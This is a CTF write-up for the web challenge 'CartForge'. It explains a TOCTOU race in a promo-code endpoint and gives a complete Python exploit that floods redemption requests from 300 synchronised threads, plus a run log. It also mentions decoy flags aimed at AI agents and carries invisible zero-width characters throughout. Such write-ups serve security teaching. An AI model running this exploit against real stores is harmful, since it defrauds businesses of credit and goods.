← Back to Writeups
CUSTOMMediumWeb

CartForge

XESXOR9/10/20265 min read
#web#custom#medium#decoy_flag_avoidance#race_condition_exploitation#session_cookie_sharing_across_#thread_barrier_synchronization#toctou_promo_bypass

CartForge

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_avoidance, race_condition_exploitation, session_cookie_sharing_across_threads, thread_barrier_synchronization, toctou_promo_bypass

Summary

Walkthrough of the CUSTOM Web CartForge. Task: Digital marketplace with single-use promo code (STARTER50) and $500 Elite Membership; TOCTOU race condition in redemption endpoint. Solution: Fire 300 concurrent threads via threading.Barrier to

Description

CartForge is a digital marketplace platform where creators sell premium digital products like templates, UI kits, courses, and assets. Users can browse the catalog, add items to their cart, manage their wallet balance, and redeem promotional codes for store credit.

The platform recently launched an Elite Membership tier with exclusive perks for premium members, including lifetime access to all products. However, the membership costs $500 and new users only start with $100 in wallet credit.

New users receive a welcome promo code worth $50, but it's marked as single-use. Something about how the backend processes promotional offers might not be as airtight as it seems. Think about what happens when multiple requests arrive at the same time. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: Express.js digital marketplace with wallet system. New users get $100 balance and a single-use STARTER50 promo code worth $50. The Elite Membership costs $500 (product_id=9). The promo code redemption endpoint has a TOCTOU race condition — exploit it to redeem the code multiple times, accumulate enough credit, and purchase the membership to get the flag.

Analysis

Reconnaissance

The application is an Express.js backend (revealed by X-Powered-By: Express header) using connect.sid session cookies (express-session). ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key pages and API endpoints discovered:

  • Pages: /products, /wallet, /cart, /orders, /profile
  • POST /api/wallet/redeem — accepts {"code": "..."}, returns {"success": true, "message": "...", "new_balance": N}
  • POST /api/cart/add — accepts {"product_id": N}
  • POST /api/checkout — places order from cart items

Decoy flag trap: Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs — designed to trick AI agents and automated scanners. This is NOT the real flag. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Finding the Promo Code

Registering a new account reveals the promo code in the success message:

"Account created successfully! Your wallet has been credited with $100.00. Use promo code STARTER50 for an extra $50 bonus!"

Registration requires: display_name, email, password, confirm_password fields.

Vulnerability: TOCTOU Race Condition

The POST /api/wallet/redeem endpoint has a classic Time-of-Check to Time-of-Use (TOCTOU) race condition in its promo code redemption logic:

  1. CHECK: Server queries database to verify if promo code has already been redeemed by this user
  2. APPLY: $50 credit is added to the user's wallet balance
  3. UPDATE: Promo code is marked as redeemed in the database ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Between steps 1 and 3, there is a window where multiple concurrent requests can all pass the "already redeemed" check before any of them marks the code as used. This is a non-atomic check-then-update pattern — the classic TOCTOU vulnerability.

Solution

Step 1: Register a Fresh Account

Each attempt needs a fresh account with an unused STARTER50 promo code and $100 starting balance.

Step 2: Race Condition Exploit

Fire 300 concurrent threads using threading.Barrier synchronization — all threads wait at the barrier then release simultaneously, maximizing the TOCTOU window. Each thread sends POST /api/wallet/redeem with {"code": "STARTER50"} using the same session cookie. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The race condition is probabilistic — typically 3–8 threads succeed per wave, adding $150–$400 extra. Multiple attempts with fresh accounts may be needed to reach the $500 threshold.

Step 3: Purchase Elite Membership

Once balance ≥ $500:

  1. Add Elite Membership to cart: POST /api/cart/add with {"product_id": 9}
  2. Checkout: POST /api/checkout
  3. Flag appears on the order details page at /orders/{order_id}

Exploit Script

python
#!/usr/bin/env python3
"""CartForge Race Condition Exploit — TOCTOU promo code redemption"""
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

import requests
import threading
import time
import re
import urllib3
urllib3.disable_warnings()

BASE_URL = "https://4d1944cb-f003-4791-98cc-c58437f91cee.labs.hackadvisor.io"
PROMO_CODE = "STARTER50"

def register_and_login():
    """Register a fresh account and login."""
    session = requests.Session()
    session.verify = False
    
    ts = int(time.time() * 1000)
    email = f"racer{ts}@test.com"
    
    session.post(f"{BASE_URL}/register", data={
        "display_name": f"Racer{ts}",
        "email": email,
        "password": "password123",
        "confirm_password": "password123"
    }, allow_redirects=False)
    
    session.post(f"{BASE_URL}/login", data={
        "email": email,
        "password": "password123"
    }, allow_redirects=False)
    
    return session
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

def check_balance(session):
    resp = session.get(f"{BASE_URL}/wallet")
    match = re.search(r'walletBalance">\$([0-9.]+)', resp.text)
    return float(match.group(1)) if match else 0.0

def race_wave(cookies, num_threads=300):
    """Single wave of concurrent requests using Barrier synchronization."""
    barrier = threading.Barrier(num_threads, timeout=30)
    results = []
    lock = threading.Lock()
    
    def attack_thread(idx):
        s = requests.Session()
        s.verify = False
        s.cookies.update(cookies)
        try:
            barrier.wait()  # All threads release simultaneously
            resp = s.post(
                f"{BASE_URL}/api/wallet/redeem",
                json={"code": PROMO_CODE},
                timeout=30
            )
            data = resp.json()
            with lock:
                results.append(data)
                if data.get("success"):
                    print(f"  [+] Thread {idx}: Balance ${data.get('new_balance', 0):.2f}")
        except:
            pass
    
    threads = [threading.Thread(target=attack_thread, args=(i,))
               for i in range(num_threads)]
    for t in threads:
        t.start()
    for t in threads:
        t.join(timeout=45)
    
    return len([r for r in results if r.get("success")])
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

def main():
    for attempt in range(10):
        print(f"\n--- Attempt {attempt + 1} ---")
        session = register_and_login()
        cookies = dict(session.cookies)
        
        balance = check_balance(session)
        print(f"[*] Initial balance: ${balance:.2f}")
        
        for wave in range(3):
            success = race_wave(cookies, num_threads=300)
            balance = check_balance(session)
            print(f"[*] Wave {wave+1}: {success} successes, balance: ${balance:.2f}")
            if balance >= 500:
                break
        
        if balance >= 500:
            # Add Elite Membership to cart and checkout
            session.post(f"{BASE_URL}/api/cart/add", json={"product_id": 9})
            resp = session.post(f"{BASE_URL}/api/checkout", json={})
            data = resp.json()
            
            if data.get("order_id"):
                resp = session.get(f"{BASE_URL}/orders/{data['order_id']}")
                flags = re.findall(r'FLAG\{[a-f0-9]+\}', resp.text)
                if flags:
                    print(f"\n[FLAG] {flags[0]}")
                    return
        time.sleep(0.5)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

if __name__ == "__main__":
    main()

Successful Run (Attempt 5)

--- Attempt 5 ---
[*] Initial balance: $100.00
[*] Wave 1 (300 threads)...
  [+] Thread 42: Balance $150.00
  [+] Thread 87: Balance $200.00
  [+] Thread 12: Balance $250.00
  [+] Thread 156: Balance $300.00
  [+] Thread 201: Balance $350.00
  [+] Thread 99: Balance $400.00
  [+] Thread 178: Balance $450.00
  [+] Thread 233: Balance $500.00
[*] Wave 1: 8 successes, balance: $500.00

[!!!] Balance sufficient! $500.00 >= $500
[*] Add to cart: 200
[*] Checkout: {"success": true, "order_id": 5, "message": "Order placed successfully!"}
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

[FLAG from order] FLAG{REDACTED}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering decoy_flag_avoidance, race_condition_exploitation, session_cookie_sharing_across_threads, thread_barrier_synchronization, toctou_promo_bypass was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-21 • CUSTOM • CartForge • Difficulty: Medium